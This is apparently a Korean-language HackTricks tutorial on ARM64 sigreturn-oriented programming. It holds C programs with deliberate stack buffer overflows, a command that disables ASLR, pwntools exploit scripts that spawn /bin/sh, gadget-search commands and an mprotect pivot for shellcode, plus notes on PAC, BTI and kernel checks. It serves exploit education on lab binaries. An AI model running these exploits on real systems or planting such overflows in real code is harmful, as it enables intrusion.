> [!TIP]
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Pwntools 예제
이 예제는 취약한 바이너리를 생성하고 이를 악용하는 것입니다. 바이너리는 스택에 읽어들인 후 **sigreturn
**을 호출합니다:
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
bof 예제
코드
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}
다음과 같이 컴파일하세요:
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
Exploit
이 익스플로잇은 bof를 악용하여 sigreturn
호출로 돌아가고 스택을 준비하여 **execve
**를 /bin/sh
에 대한 포인터와 함께 호출합니다.
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
bof 예제 (sigreturn 없음)
코드
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer;
}
char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
Exploit
In the section vdso
it's possible to find a call to sigreturn
in the offset 0x7b0
:
 (1).png)
따라서, 유출된 경우, 이 주소를 사용하여 sigreturn
에 접근할 수 있습니다 이진 파일이 이를 로드하지 않는 경우:
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
더 많은 정보는 vdso에 대해 확인하세요:
그리고 /bin/sh
의 주소를 우회하기 위해 여러 개의 환경 변수를 생성할 수 있습니다. 더 많은 정보는:
sigreturn
가젯 자동 찾기 (2023-2025)
현대 배포판에서 sigreturn
트램폴린은 여전히 vDSO 페이지에 의해 내보내지지만, 정확한 오프셋은 커널 버전 및 BTI(+branch-protection
) 또는 PAC과 같은 빌드 플래그에 따라 달라질 수 있습니다. 이를 자동화하면 오프셋을 하드코딩하는 것을 방지할 수 있습니다:
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
두 도구는 AArch64 인코딩을 이해하며 SROP 가젯으로 사용할 수 있는 mov x8, 0x8b ; svc #0
시퀀스를 나열합니다.
참고: 바이너리가 BTI로 컴파일되면 모든 유효한 간접 분기 대상의 첫 번째 명령어는
bti c
입니다. 링커에 의해 배치된sigreturn
트램폴린은 이미 올바른 BTI 착륙 패드를 포함하고 있어 가젯이 비특권 코드에서 여전히 사용 가능합니다.
ROP와 SROP 연결하기 (mprotect
를 통한 피벗)
rt_sigreturn
은 모든 범용 레지스터와 pstate
를 제어할 수 있게 해줍니다. x86에서의 일반적인 패턴은: 1) SROP를 사용하여 mprotect
를 호출하고, 2) 쉘코드를 포함하는 새로운 실행 가능한 스택으로 피벗하는 것입니다. ARM64에서도 동일한 아이디어가 작동합니다:
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect # 226
frame.x0 = 0x400000 # page-aligned stack address
frame.x1 = 0x2000 # size
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100 # new pivot
frame.pc = svc_call # will re-enter kernel
프레임을 전송한 후, 0x400000+0x100
에 원시 셸 코드를 포함하는 두 번째 단계를 전송할 수 있습니다. AArch64는 PC-relative 주소 지정을 사용하므로, 큰 ROP 체인을 구축하는 것보다 더 편리한 경우가 많습니다.
커널 검증, PAC 및 섀도우 스택
Linux 5.16은 사용자 공간 신호 프레임에 대한 더 엄격한 검증을 도입했습니다 (커밋 36f5a6c73096
). 커널은 이제 다음을 확인합니다:
uc_flags
는extra_context
가 존재할 때UC_FP_XSTATE
를 포함해야 합니다.struct rt_sigframe
의 예약어는 0이어야 합니다.- extra_context 레코드의 모든 포인터는 정렬되어 있으며 사용자 주소 공간 내를 가리켜야 합니다.
pwntools>=4.10
은 자동으로 준수하는 프레임을 생성하지만, 수동으로 구축하는 경우 reserved를 0으로 초기화하고 정말 필요하지 않는 한 SVE 레코드를 생략해야 합니다. 그렇지 않으면 rt_sigreturn
이 반환 대신 SIGSEGV
를 전달합니다.
주류 Android 14 및 Fedora 38부터 사용자 공간은 기본적으로 PAC (Pointer Authentication) 및 BTI가 활성화된 상태로 컴파일됩니다 (-mbranch-protection=standard
). SROP 자체는 영향을 받지 않지만, 커널이 생성된 프레임에서 직접 PC
를 덮어쓰므로 스택에 저장된 인증된 LR을 우회합니다. 그러나 간접 분기를 수행하는 후속 ROP 체인은 BTI가 활성화된 명령어 또는 PAC된 주소로 점프해야 합니다. 가젯을 선택할 때 이를 염두에 두십시오.
ARMv8.9에서 도입된 섀도우 호출 스택(이미 ChromeOS 1.27+에서 활성화됨)은 컴파일러 수준의 완화 조치이며, SROP에 간섭하지 않습니다. 왜냐하면 반환 명령어가 실행되지 않기 때문입니다. 제어 흐름은 커널에 의해 전송됩니다.
참조
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.